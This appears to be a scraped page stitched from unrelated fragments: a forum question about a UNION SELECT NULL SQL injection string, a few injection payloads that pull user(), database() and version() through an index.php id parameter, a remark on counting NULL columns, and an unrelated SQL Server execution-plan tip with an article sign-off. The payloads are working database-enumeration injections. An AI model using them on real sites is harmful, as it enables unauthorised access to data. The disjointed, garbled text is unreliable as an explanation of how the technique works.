Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
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Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables.
...SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
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Number of null-s on change between passed and failed queries is the one attacker looks for.
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15–. As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column?
-- If EXISTS (SELECT TOP 1 1 FROM dbo.testCounts) BEGIN PRINT 1 END --. Above query will give excellent execution plan. I hope now things are more clear. That’s all folks; I hope you’ve enjoyed the article and I’ll see you soon with more articles. Thanks! Pawan Kumar Khowal.